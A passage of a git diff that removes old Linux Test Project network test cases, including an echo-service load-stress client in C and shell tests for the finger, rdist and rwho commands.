-        do
-            csum2=$(sum "$TCtmp/${ECHOFILE}${NUM}" | awk '{print $1}')
-            if [ "$csum1" != "$csum2" ]; then
-                end_testcase "Checksums differ in loop $TST_COUNT"
-            fi
-            NUM=$(( $NUM + 1 ))
-        done
-
-        tst_resm TINFO "Execution $TST_COUNT passed."
-
-        incr_tst_count
-        if [ $TST_COUNT -le $NUMLOOPS ]; then
-            tst_resm TINFO "Sleeping 60 seconds to avoid hitting max. connections setting for service"
-            sleep 60
-        fi
-    done
-}
-
-#-----------------------------------------------------------------------
-#
-# FUNCTION:  MAIN
-# PURPOSE:   To invoke functions that perform the tasks as described in
-#	     the design in the prolog above.
-# INPUT:     See SETUP in the prolog above.
-# OUTPUT:    Logged run results written to testcase run log
-#
-#-----------------------------------------------------------------------
-
-. net_cmdlib.sh
-
-read_opts $*
-do_setup
-do_test
-end_testcase
diff --git a/testcases/network/tcp_cmds/echo/echoes.c b/testcases/network/tcp_cmds/echo/echoes.c
deleted file mode 100644
index e6aeb9e..0000000
--- a/testcases/network/tcp_cmds/echo/echoes.c
+++ /dev/null
@@ -1,375 +0,0 @@
-/*
-@! # TEST TYPE(S): Concurrency, Load stress
-@! # TESTCASE DESCRIPTION:
-@! # 	Purpose: to send packets from the file to echo protocol on remote
-@! #		 machine and read the echoing packets back and compare them
-@! # 	Design: Connect to echo protocol on the remote machine
-@! #		read from the file and send the file to remote machine
-@! #		read the echoing  packets and store them in a file
-@! #		repeat until file exhausted.
-@! #		compare result
-@! #
-@! # SPEC. EXEC. REQS: May require multiple of this test to run
-@! #		       to target machines from multiple machine in order
-@! #		       to create stress condition
-@! # 			echoes <REMOTE HOST> <echofile> <number of processes>
-*/
-#include <unistd.h>
-#include <sys/types.h>
-#include <sys/socket.h>
-#include <sys/stat.h>
-#include <sys/wait.h>
-#include <errno.h>
-#include <libgen.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <netdb.h>
-#include <netinet/in.h>
-#include <fcntl.h>
-#include "test.h"
-#include "netdefs.h"
-
-#if INET6
-char *TCID = "echoes6";
-#else
-char *TCID = "echoes";
-#endif
-
-int TST_TOTAL = 1;
-
-void echofile(struct servent *, struct addrinfo *, char *, char *);
-int checkfile(char *, char *);
-void cleanup(int);
-
-int main(int argc, char *argv[], char *env[])
-{
-
-	unsigned int finish, i, j, k;
-	int gai, wait_stat;
-	pid_t pid;
-	struct addrinfo hints, *hp;
-	struct servent *sp;
-	struct {
-		char resultfile[FILENAME_MAX + 1];
-		pid_t pid;
-	} echo_struc[200];
-
-	memset(&hints, 0, sizeof(hints));
-	hints.ai_family = PFI;
-	hints.ai_socktype = SOCK_STREAM;
-
-	if (argc != 4)
-		tst_brkm(TBROK, NULL, "usage: remote-addr file num-procs");
-
-	if ((sp = getservbyname("echo", "tcp")) == NULL)
-		tst_brkm(TBROK | TERRNO, NULL, "getservbyname failed");
-
-	if ((gai = getaddrinfo(argv[1], NULL, &hints, &hp)) != 0)
-		tst_brkm(TBROK, NULL, "unknown subject address %s: %s\n",
-			 argv[1], gai_strerror(gai));
-
-	if (!hp || !hp->ai_addr || hp->ai_addr->sa_family != AFI)
-		tst_brkm(TBROK, NULL, "getaddrinfo failed");
-
-	i = (unsigned int)strtol(argv[3], NULL, 10);
-	j = 0;
-	while (i-- > 0) {
-		switch (pid = fork()) {
-		case 0:
-			snprintf(echo_struc[j].resultfile,
-				 FILENAME_MAX, "%s%u", argv[2], j);
-			echofile(sp, hp, echo_struc[j].resultfile, argv[2]);
-			break;
-		case -1:
-			tst_resm(TBROK | TERRNO, "fork failed");
-			break;
-		default:
-			echo_struc[j].pid = pid;
-			j++;
-			break;
-		}
-	}
-	finish = (unsigned int)strtol(argv[3], NULL, 10);
-	i = finish;
-	/* Consume all operating threads until we're done... */
-	while (finish != 0) {
-
-		if ((pid = wait(&wait_stat)) == -1)
-			tst_resm(TFAIL | TERRNO, "wait failed");
-		if (wait_stat == 0) {
-			for (j = 0; j < i; j++) {
-				if (echo_struc[j].pid == pid) {
-					finish--;
-					j = i;
-				}
-			}
-		} else {
-
-			tst_resm(TFAIL, "wait(2) status was non-zero");
-
-			if (WIFEXITED(wait_stat)) {
-				tst_resm(TINFO, "exit status: %d",
-					 WEXITSTATUS(wait_stat));
-			} else if (WIFSIGNALED(wait_stat)) {
-				tst_resm(TINFO, "signaled: %d",
-					 WTERMSIG(wait_stat));
-			}
-
-			for (k = 0; k < i; k++) {
-				if (kill(echo_struc[k].pid, 0) == 0) {
-					kill(echo_struc[k].pid, 9);
-				}
-			}
-			break;
-		}
-
-	}
-
-	tst_exit();
-}
-
-/* XXX (garrcoop): This shouldn't use libltp as it's a forked process. */
-void
-echofile(struct servent *sp, struct addrinfo *ai, char *resultfile,
-	 char *srcfile)
-{
-	int n;
-	int port;
-	char wr_buffer[BUFSIZ];
-	char rd_buffer[BUFSIZ];
-	sai_t sa;
-#ifdef DEBUG
-	sa_t address;
-	socklen_t addrlen;
-#endif
-	int s;
-	int finish;
-	int fdw, fdr;
-	int nread, nwrite;
-	int count;
-	pid_t pid;
-
-#ifdef 	DEBUG
-	printf("Creating socket .....\n");
-#endif
-
-	pid = getpid();
-	if ((s = socket(AFI, SOCK_STREAM, 0)) < 0) {
-		tst_resm(TBROK, "Failed to create listener socket (pid=%d)",
-			 pid);
-		cleanup(s);
-		tst_exit();
-	}
-	port = sp->s_port;
-
-	/*
-	 * TODO: Old code did something of the form:
-	 *
-	 * struct hostent *hp;
-	 *
-	 * hp = gethostbyname(argv[1]);
-	 *
-	 * ...
-	 *
-	 * struct       in_addr hostaddr;
-	 *
-	 * memcpy(&hostaddr,hp->h_addr_list[0],sizeof(struct in_addr));
-	 *
-	 * This is all fine and dandy, but gethostbyname has been deprecated
-	 * for some time, and doesn't work too well with IPV6 (from what I've
-	 * read), so I have to push it over to getaddrinfo. getaddrinfo isn't
-	 * a 1:1 mapping though, so I have to do some work to shoehorn the old
-	 * code to fit the new code.
-	 *
-	 * Some notes (from a test app)...
-	 *
-	 * (gdb) set args 127.0.0.1
-	 * (gdb) list
-	 * 33              for (int i = 1; i < argc; i++) {
-	 * 34
-	 * 35                      gai = getaddrinfo(argv[i], NULL, &hints, &ai);
-	 * 36                      hp = gethostbyname(argv[i]);
-	 * 37
-	 * 38                      if (gai != 0) {
-	 * 39                              printf("Error: %s\n", gai_strerror(gai));
-	 * 40                              error = 2;
-	 * 41                      } else {
-	 * 42                              printf("Host IP: 0x%x\n", ai->ai_addr);
-	 * (gdb) p *hp
-	 * $16 = {h_name = 0x1a60198 "127.0.0.1", h_aliases = 0x1a60190, h_addrtype = 2,
-	 *   h_length = 4, h_addr_list = 0x1a60180}
-	 * (gdb) p *hp->h_addr_list
-	 * $14 = 0x1a60170 "\177"
-	 * (gdb) p *ai
-	 * $15 = {ai_flags = 0, ai_family = 2, ai_socktype = 1, ai_protocol = 6,
-	 *   ai_addrlen = 16, ai_addr = 0x1a600b0, ai_canonname = 0x0,
-	 *     ai_next = 0x1a600d0}
-	 *
-	 * If one continues down this path, SIGPIPE will get tossed at the first
-	 * write(2), as opposed to Connection refused (the old code). So I'm not
-	 * passing in the correct info to connect(2).
-	 *
-	 * That and using -DDEBUG with the getpeername(3) call below always fails
-	 * (that alone should be a sufficient to note that my sockaddr* data is
-	 * skewed).
-	 *
-	 * For now let's just mark it broken.
-	 *
-	 */
-	//tst_resm(TBROK, "FIX ME GARRETT!");
-	//tst_exit();
-
-	memset((char *)&sa, 0, sizeof(sa));
-	memcpy(&sa, ai->ai_addr, ai->ai_addrlen);
-
-#if INET6
-	sa.sin6_port = port;
-#else
-	sa.sin_port = port;
-#endif
-
-	if (connect(s, (sa_t *) & sa, sizeof(sa)) == -1) {
-		tst_resm(TBROK | TERRNO,
-			 "failed to create connector socket (pid=%d)", pid);
-		cleanup(s);
-		tst_exit();
-	}
-#ifdef DEBUG
-	addrlen = sizeof(struct sockaddr);
-	/* printf("addrlen=%d\n", addrlen); */
-	/* printf("ai->ai_addr=%s\n", inet_ntoa(ai->ai_addr)); */
-	if (getsockname(s, &address, &addrlen) == -1) {
-		tst_resm(TBROK | TERRNO, "getsockname call failed (pid=%d)",
-			 pid);
-		cleanup(s);
-		tst_exit();
-	}
-
-	printf("local port is: %d\n", port);
-
-	if (getpeername(s, &address, &addrlen) == -1) {
-		tst_resm(TBROK | TERRNO, "getpeername call failed (pid=%d)",
-			 pid);
-		cleanup(s);
-		tst_exit();
-	}
-
-	tst_resm(TINFO, "The remote port is: %d\n", port);
-#endif
-	if ((fdr = open(srcfile, O_RDONLY)) < 0) {
-		tst_resm(TBROK | TERRNO,
-			 "failed to open input file (pid=%d)", pid);
-		cleanup(s);
-		tst_exit();
-	}
-
-	if ((fdw = creat(resultfile, 0644)) < 0) {
-		tst_resm(TBROK | TERRNO,
-			 "failed to create a temporary file (pid=%d)", pid);
-		cleanup(s);
-		tst_exit();
-	}
-#if DEBUG
-	tst_resm(TINFO, "creat(resultfile,...) done.");
-#endif
-	finish = FALSE;
-	count = 0;
-	while (finish == FALSE) {
-
-		if ((nwrite = read(fdr, wr_buffer, BUFSIZ)) == -1) {
-			tst_resm(TFAIL | TERRNO,
-				 "failed to read from file (pid=%d)", pid);
-			cleanup(s);
-		}
-#if DEBUG
-		tst_resm(TINFO, "Read %d bytes from file", nwrite);
-#endif
-		if (nwrite == 0)
-			finish = TRUE;
-		else {
-			count++;
-			if ((n = write(s, wr_buffer, nwrite)) != nwrite) {
-				tst_resm(TFAIL | TERRNO,
-					 "failed to write to socket (pid=%d)",
-					 pid);
-				cleanup(s);
-			}
-#ifdef 	DEBUG
-			tst_resm(TINFO, "Writing %d bytes to remote socket",
-				 count);
-#endif
-			while (nwrite != 0) {
-
-				nread = read(s, rd_buffer, BUFSIZ);
-				if (nread == -1) {
-					printf("read size: %d\n", n);
-					tst_resm(TFAIL | TERRNO,
-						 "failed to read from socket [2nd "
-						 "time] (pid=%d)", pid);
-					cleanup(s);
-				}
-#ifdef 	DEBUG
-				printf("Reading ....... %d\n", count);
-#endif
-				n = write(fdw, rd_buffer, nread);
-				if (n != nread) {
-					tst_resm(TFAIL | TERRNO,
-						 "ERROR during write to result "
-						 "file (pid=%d); read amount: %d",
-						 pid, n);
-					cleanup(s);
-				}
-
-				nwrite -= nread;
-
-			}
-
-		}		/* end of else */
-
-	}			/* end of while */
-
-	if ((n = close(s)) == -1) {
-		tst_brkm(TBROK | TERRNO, NULL,
-			 "failed to cleanly close socket (pid=%d)", pid);
-	}
-	if ((n = close(fdr)) == -1) {
-		tst_brkm(TBROK | TERRNO, NULL,
-			 "failed to cleanly close input file (pid=%d)", pid);
-	}
-	if ((n = close(fdw)) == -1) {
-		tst_brkm(TBROK | TERRNO, NULL,
-			 "failed to cleanly close temp file (pid=%d)", pid);
-	}
-	if (checkfile(srcfile, resultfile) != TRUE) {
-		tst_brkm(TFAIL, NULL,
-			 "Input file and output file are not equal (pid=%d)",
-			 pid);
-	}
-	tst_resm(TINFO, "Finish .... (pid=%d)", pid);
-	tst_exit();
-}
-
-int checkfile(char *file1, char *file2)
-{
-	off_t n;
-	struct stat buffer;
-	stat(file1, &buffer);
-	n = buffer.st_size;
-#ifdef 	DEBUG
-	printf("%s size=%lu\n", file1, n);
-#endif
-	stat(file2, &buffer);
-#ifdef 	DEBUG
-	printf("%s size=%lu\n", file2, buffer.st_size);
-#endif
-	if (n != buffer.st_size)
-		return FALSE;
-	else
-		return TRUE;
-}
-
-void cleanup(int s)
-{
-	close(s);
-}
diff --git a/testcases/network/tcp_cmds/finger/Makefile b/testcases/network/tcp_cmds/finger/Makefile
deleted file mode 100644
index 891a44f..0000000
--- a/testcases/network/tcp_cmds/finger/Makefile
+++ /dev/null
@@ -1,31 +0,0 @@
-#
-#    network/tcp_cmds/finger testcases Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
-# Ngie Cooper, July 2009
-#
-
-top_srcdir		?= ../../../..
-
-include $(top_srcdir)/include/mk/env_pre.mk
-
-INSTALL_TARGETS		:= finger01
-
-MAKE_TARGETS		:=
-
-include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/network/tcp_cmds/finger/finger01 b/testcases/network/tcp_cmds/finger/finger01
deleted file mode 100755
index 59c2397..0000000
--- a/testcases/network/tcp_cmds/finger/finger01
+++ /dev/null
@@ -1,203 +0,0 @@
-#!/bin/sh
-#
-#   Copyright (c) International Business Machines  Corp., 2000
-#
-#   This program is free software;  you can redistribute it and/or modify
-#   it under the terms of the GNU General Public License as published by
-#   the Free Software Foundation; either version 2 of the License, or
-#   (at your option) any later version.
-#
-#   This program is distributed in the hope that it will be useful,
-#   but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#   the GNU General Public License for more details.
-#
-#   You should have received a copy of the GNU General Public License
-#   along with this program;  if not, write to the Free Software
-#   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-#
-#
-#
-#  FILE   : finger
-#
-#  PURPOSE: To test the basic functionality of the `finger` command.
-#
-#  SETUP: The home directory of root on the machine exported as "RHOST"
-#         MUST have a ".rhosts" file with the hostname of the machine
-#         where the test is executed. Also, both machines MUST have
-#         the fingerd daemon active (see inetd or xinetd config file).
-#
-#  HISTORY:
-#    06/06/03 Manoj Iyer - manjo@mail.utexas.edu
-#      - Ported tests to use test macro
-#    03/01 Robbie Williamson (robbiew@us.ibm.com)
-#      -Ported
-#
-#-----------------------------------------------------------------------
-
-#-----------------------------------------------------------------------
-#
-# FUNCTION:  do_setup
-#
-#-----------------------------------------------------------------------
-
-do_setup()
-{
-
-    # Start fingerd locally and remotely.
-    export TST_TOTAL=3
-
-    tst_setup
-
-    exists awk finger hostname netstat rsh whoami
-
-    LHOST=$(hostname)
-    LUSER=$(whoami)
-    RUSER=root
-    RHOST=${RHOST:-$(hostname)}
-    SLEEPTIME=${SLEEPTIME:-1}
-
-    exists awk finger netstat rsh whoami
-
-    [ "$LUSER" = "root" ] || end_testcase "MUST BE root to run the test!"
-
-    FINGER=$(netstat -a | grep ":finger" |awk '{print $6}')
-    if [ "$FINGER" != "LISTEN" ]; then
-        end_testcase "Please start fingerd locally."
-    fi
-
-    FINGER=$(rsh -n $RHOST netstat -a |grep ":finger"|awk '{print $6}')
-    if [ "$FINGER" != "LISTEN" ]; then
-        end_testcase "Please start fingerd on remote host."
-    fi
-}
-
-#-----------------------------------------------------------------------
-# FUNCTION: do_test1
-# PURPOSE: Run finger with no flags
-# INPUT:    None.
-# OUTPUT:   Error messages are logged for all discrepancies found.
-#-----------------------------------------------------------------------
-
-do_test1()
-{
-    tst_resm TINFO "finger: do_test1 started"
-
-    finger @$LHOST  2>&1 1>/dev/null
-    [ $? = 0 ] || end_testcase "finger @$LHOST"
-    finger @$RHOST  2>&1 1>/dev/null
-    [ $? = 0 ] || end_testcase "finger @$RHOST"
-
-    # Testing finger command with user argument
-
-    finger $LUSER 2>&1 1>/dev/null || end_testcase "finger $LUSER"
-    if ! finger $LUSER@$LHOST  2>&1 1>/dev/null; then
-        end_testcase "finger $LUSER@$LHOST"
-    fi
-    finger $RUSER@$RHOST 2>&1 1>/dev/null || end_testcase "finger @$RUSER"
-}
-
-#-----------------------------------------------------------------------
-# FUNCTION: do_test2
-# PURPOSE:  To run the "finger User@host" commands and verify that the
-#           "finger" command is functioning properly.
-# INPUT:    None.
-# OUTPUT:   Error messages are logged for all discrepancies found.
-#-----------------------------------------------------------------------
-
-do_test2()
-{
-    tst_resm TINFO "finger: do_test2 (-bad flag) started"
-    BADUSER="uuuu"
-    BADHOST="xxxx"
-
-    tst_resm TINFO "finger -badflag default "
-    finger -x 2> /dev/null && end_testcase "finger -x should fail"
-
-    tst_resm TINFO "finger -bad user "
-    [ "$(finger $BADUSER 2>&1 1>/dev/null)" ] || end_testcase "finger $BADUSER"
-    [ "$(finger @$BADHOST 2>&1 1>/dev/null)" ] || \
-        end_testcase "finger @$BADHOST"
-    [ "$(finger $BADUSER@$BADHOST 2>&1 1>/dev/null)" ] || \
-        end_testcase "finger $BADUSER@$BADHOST"
-}
-
-#-----------------------------------------------------------------------
-# FUNCTION: do_test3
-# PURPOSE:  To run the "finger -flag User@Host" commands and verify that the
-#           "finger" command is functioning properly.
-# INPUT:    None.
-# OUTPUT:   Error messages are logged for all discrepancies found.
-#-----------------------------------------------------------------------
-
-do_test3()
-{
-    tst_resm TINFO "finger: do_test3 (-f flag) started"
-
-    tst_resm TINFO "finger -l : gives a long listing"
-    finger -l  2>&1 1>/dev/null || end_testcase "finger -l"
-    finger -l $LUSER 2>&1 1>/dev/null || end_testcase "finger -l $LUSER"
-    finger -l @$LHOST 2>&1 1>/dev/null || end_testcase "finger -l @$LHOST"
-    if ! finger -l $LUSER@$LHOST 2>&1 1>/dev/null; then
-        end_testcase "finger -l $LUSER@$LHOST"
-    fi
-    finger -l @$RHOST  2>&1 1>/dev/null || end_testcase "finger -l @$RHOST"
-    if ! finger -l $RUSER@$RHOST  2>&1 1>/dev/null; then
-        end_testcase "finger -l $RUSER@$RHOST"
-    fi
-
-    tst_resm TINFO "finger -m : assures that user is a user ID discretionary"
-    finger -m 2>&1 1>/dev/null || end_testcase "finger -m"
-    finger -m $LUSER 2>&1 1>/dev/null || end_testcase "finger -m $LUSER"
-    finger -m @$LHOST 2>&1 1>/dev/null || end_testcase "finger -m @$LHOST"
-    if ! finger -m $LUSER@$LHOST 2>&1 1>/dev/null; then
-        end_testcase "finger -m $LUSER@$LHOST"
-    fi
-    finger -m @$RHOST 2>&1 1>/dev/null || end_testcase "finger -m @$RHOST"
-    if ! finger -m $RUSER@$RHOST  2>&1 1>/dev/null; then
-        end_testcase "finger -m $RUSER@$RHOST"
-    fi
-
-    tst_resm TINFO "finger -p : suppresses printing of .plan files on long and \
-        brief long formats"
-    finger -p  2>&1 1>/dev/null || end_testcase "finger -p"
-    finger -p $LUSER  2>&1 1>/dev/null || end_testcase "finger -p $LUSER"
-    finger -p @$LHOST  2>&1 1>/dev/null || end_testcase "finger -p @$LHOST"
-    if ! finger -p $LUSER@$LHOST  2>&1 1>/dev/null; then
-        end_testcase "finger -p $LUSER@$LHOST"
-    fi
-    finger -p @$RHOST  2>&1 1>/dev/null || end_testcase "finger -p @$RHOST"
-    if ! finger -p $RUSER@$RHOST 2>&1 1>/dev/null; then
-        end_testcase "finger -p $RUSER@$RHOST"
-    fi
-
-    tst_resm TINFO "finger -s : gives a short format list"
-    finger -s  2>&1 1>/dev/null || end_testcase "finger -s"
-    finger -s $LUSER 2>&1 1>/dev/null || end_testcase "finger -s $LUSER "
-    finger -s @$LHOST 2>&1 1>/dev/null || end_testcase "finger -s @$LHOST"
-    if ! finger -s $LUSER@$LHOST 2>&1 1>/dev/null; then
-        end_testcase "finger -s $LUSER@$LHOST"
-    fi
-    finger -s @$RHOST 2>&1 1>/dev/null || end_testcase "finger -s @$RHOST"
-    if ! finger -s $RUSER@$RHOST 2>&1 1>/dev/null; then
-        end_testcase "finger -s $RUSER@$RHOST"
-    fi
-
-}
-
-#-----------------------------------------------------------------------
-# FUNCTION: MAIN
-# PURPOSE:  To invoke the functions to perform the tasks outlined in the
-#           prologue.
-# INPUT:    None.
-# OUTPUT:   None.
-#-----------------------------------------------------------------------
-. net_cmdlib.sh
-
-read_opts $*
-do_setup
-for TST_COUNT in 1 2 3; do
-    eval "do_test$TST_COUNT"
-    sleep $SLEEPTIME
-done
-end_testcase
diff --git a/testcases/network/tcp_cmds/rdist/Makefile b/testcases/network/tcp_cmds/rdist/Makefile
deleted file mode 100644
index 0d2ad6a..0000000
--- a/testcases/network/tcp_cmds/rdist/Makefile
+++ /dev/null
@@ -1,30 +0,0 @@
-#
-#    network/tcp_cmds/rdist testcases Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
-# Ngie Cooper, September 2009
-#
-
-top_srcdir		?= ../../../..
-
-include $(top_srcdir)/include/mk/testcases.mk
-include $(abs_srcdir)/../Makefile.inc
-
-INSTALL_TARGETS		:= rdist01
-
-include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/network/tcp_cmds/rdist/rdist01 b/testcases/network/tcp_cmds/rdist/rdist01
deleted file mode 100755
index 4bc239f..0000000
--- a/testcases/network/tcp_cmds/rdist/rdist01
+++ /dev/null
@@ -1,187 +0,0 @@
-#!/bin/sh
-#
-#
-#   Copyright (c) International Business Machines  Corp., 2000
-#
-#   This program is free software;  you can redistribute it and/or modify
-#   it under the terms of the GNU General Public License as published by
-#   the Free Software Foundation; either version 2 of the License, or
-#   (at your option) any later version.
-#
-#   This program is distributed in the hope that it will be useful,
-#   but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#   the GNU General Public License for more details.
-#
-#   You should have received a copy of the GNU General Public License
-#   along with this program;  if not, write to the Free Software
-#   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-#
-#
-#
-#  FILE   : rdist
-#
-#  PURPOSE: To test the basic functionality of the `rdist` command.
-#
-#  SETUP: The home directory of root on the machine exported as "RHOST"
-#         MUST have a ".rhosts" file with the hostname of the machine
-#         where the test is executed.
-#
-#  HISTORY:
-#    06/06/03 Manoj Iyer manjo@mail.utexas.edu
-#    - Modified testcases to use test harness APIs and fixed defects
-#    03/01 Robbie Williamson (robbiew@us.ibm.com)
-#      -Ported
-#
-#
-#***********************************************************************
-
-#-----------------------------------------------------------------------
-#
-# FUNCTION:  do_setup
-#
-#-----------------------------------------------------------------------
-
-do_setup()
-{
-
-    USER_LIST=${USER_LIST:-'root'}
-    TCdat=${TCdat:-$LTPROOT/testcases/bin/datafiles}
-    TCtmp=${TCtmp:-$LTPROOT/testcases/bin/$TC${EXEC_SUFFIX}$$}
-    FILES=${FILES:-'bin.sm bin.med bin.lg bin.jmb file.dir/bin.sm file.dir/bin.med file.dir/bin.jmb'}
-    SLEEPTIME=${SLEEPTIME:-10}
-
-    tst_setup
-
-    exists awk hostname rdist
-
-    RHOST=${RHOST:-`hostname`}
-
-    # start with a clean LHOST
-    for i in $FILES; do
-        rm -rf $i
-    done
-
-    for i in $FILES; do
-        BASE=$(basename "$i")
-        DIR=$(dirname "$i")
-        test -d "$DIR" || mkdir -p "$DIR"
-        if [ $? -ne 0 ] ; then
-            end_testcase "failed to create $DIR"
-        fi
-        if ! cp $TCdat/$BASE $DIR; then
-            end_testcase "failed to copy $TCdat/$BASE to $DIR"
-        fi
-        chmod 764 $i
-    done
-
-    # get the sum of all the files to rdist on the local machine
-    LSUM=0
-    SUM=`sum -s $FILES | awk '{ print $1 }'`
-    for i in $SUM; do
-        LSUM=$(( $LSUM + $i ))
-    done
-}
-
-#-----------------------------------------------------------------------
-#
-# FUNCTION:  create_distfile
-# create file $TCtmp/distfile
-#
-#-----------------------------------------------------------------------
-
-create_distfile()
-{
-    T_FILES="FILES = ( "
-    for i in $FILES; do
-        if [ $(dirname "$i") == "." ]; then
-            T_FILES="$T_FILES $i"
-        else
-            T_FILES="$T_FILES $DIR"
-        fi
-    done
-    T_FILES="$T_FILES )"
-
-    T_HOST="HOSTS = ("
-    for c_ruser in $RUSERS; do
-        for c_rhost in $HOSTS; do
-         T_HOST=$T_HOST" $c_ruser@$c_rhost"
-        done
-    done
-
-    T_HOST="$T_HOST)"
-    cat <<EOF > "$TCtmp/distfile"
-$T_HOST
-$T_FILES
-\${FILES} -> \${HOSTS}
-EOF
-}
-
-#-----------------------------------------------------------------------
-#
-# FUNCTION:  check_result
-#
-# check the sum of all files rdisted from local machine to remote machine
-#
-#-----------------------------------------------------------------------
-
-check_result()
-{
-    cd $TCtmp
-    for c_rhost in $HOSTS; do
-        for c_ruser in $RUSERS; do
-            TOTAL_SUM=0
-            for i in $(rsh -n -l $c_ruser $c_rhost sum -s $FILES | awk '{ print $1 }'); do
-                TOTAL_SUM=$(( $TOTAL_SUM + $i ))
-            done
-            if [ $TOTAL_SUM -eq $LSUM ]; then
-                tst_resm TINFO "Success rdist in $c_ruser@$c_rhost "
-                rsh -n -l $c_ruser $c_rhost "rm -rf $FILES"
-            else
-                end_testcase "Wrong sum doing rdist in $curr_ruser@$curr_rhost"
-            fi
-       done
-   done
-}
-
-#----------------------------------------------------------------------
-# FUNCTION: do_test
-# PURPOSE:  Perform the necessary steps to complete the test.
-# INPUT:    None.
-# OUPUT:    Error messages are logged if any of the tests fail.
-# EXIT VAR: 0 Success
-#----------------------------------------------------------------------
-
-do_test()
-{
-    HOSTS=""
-    RUSERS=""
-
-    for cur_host in $RHOST; do
-        HOSTS=$HOSTS" $cur_host"
-        for cur_user in $USER_LIST; do
-            RUSERS=$RUSERS" $cur_user"
-            create_distfile
-            if ! rdist -f $TCtmp/distfile; then
-                end_testcase "error doing rdist -f $TCtmp/distfile"
-            fi
-            check_result
-            sleep $SLEEPTIME
-        done
-    done
-}
-
-#----------------------------------------------------------------------
-# FUNCTION: MAIN
-# PURPOSE:  To invoke the functions to perform the tasks described in
-#           the prologue.
-# INPUT:    None.
-# OUTPUT:   A testcase run log with the results of the execution of this
-#           test.
-#----------------------------------------------------------------------
-. net_cmdlib.sh
-
-read_opts $*
-do_setup
-do_test
-end_testcase
diff --git a/testcases/network/tcp_cmds/rwho/Makefile b/testcases/network/tcp_cmds/rwho/Makefile
deleted file mode 100644
index 508fc85..0000000
--- a/testcases/network/tcp_cmds/rwho/Makefile
+++ /dev/null
@@ -1,31 +0,0 @@
-#
-#    network/tcp_cmds/rwho testcases Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
-# Ngie Cooper, July 2009
-#
-
-top_srcdir		?= ../../../..
-
-include $(top_srcdir)/include/mk/env_pre.mk
-
-INSTALL_TARGETS		:= rwho01
-
-MAKE_TARGETS		:=
-
-include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/network/tcp_cmds/rwho/rwho01 b/testcases/network/tcp_cmds/rwho/rwho01
deleted file mode 100755
index 9842aba..0000000
--- a/testcases/network/tcp_cmds/rwho/rwho01
+++ /dev/null
@@ -1,91 +0,0 @@
-#!/bin/sh
-# Copyright (c) 2016 Oracle and/or its affiliates. All Rights Reserved.
-# Copyright (c) International Business Machines  Corp., 2000
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program. If not, see <http://www.gnu.org/licenses/>.
-#
-# PURPOSE: To test the basic functionality of the rwhod daemon using the
-#          `rwho` and `ruptime` commands.
-#
-
-TCID=rwho01
-TST_TOTAL=25
-TST_CLEANUP="do_cleanup"
-
-. test_net.sh
-
-LHOST_PID=
-RHOST_PID=
-
-do_setup()
-{
-	tst_check_cmds cut hostname killall rwho ruptime
-
-	LHOST=$(hostname | cut -f1 -d.)
-
-	pgrep -x rwhod > /dev/null
-	if [ $? -ne 0 ]; then
-		tst_resm TINFO "Starting rwhod on $LHOST"
-		ROD rwhod
-		LHOST_PID=$(pgrep -x rwhod)
-		[ -z "$LHOST_PID" ] && \
-			tst_brkm TBROK "Unable to start rwhod on $LHOST"
-	fi
-
-	tst_rhost_run -c "pgrep -x rwhod" > /dev/null
-	if [ $? -ne 0 ]; then
-		tst_resm TINFO "Starting rwhod on $RHOST"
-		tst_rhost_run -s -c "rwhod"
-		RHOST_PID=$(tst_rhost_run -c "pgrep -x rwhod")
-		[ -z "$RHOST_PID" ] && \
-			tst_brkm TBROK "Unable to start rwhod on $RHOST"
-	fi
-
-	RHOSTNAME=$(tst_rhost_run -c "hostname | cut -f1 -d.")
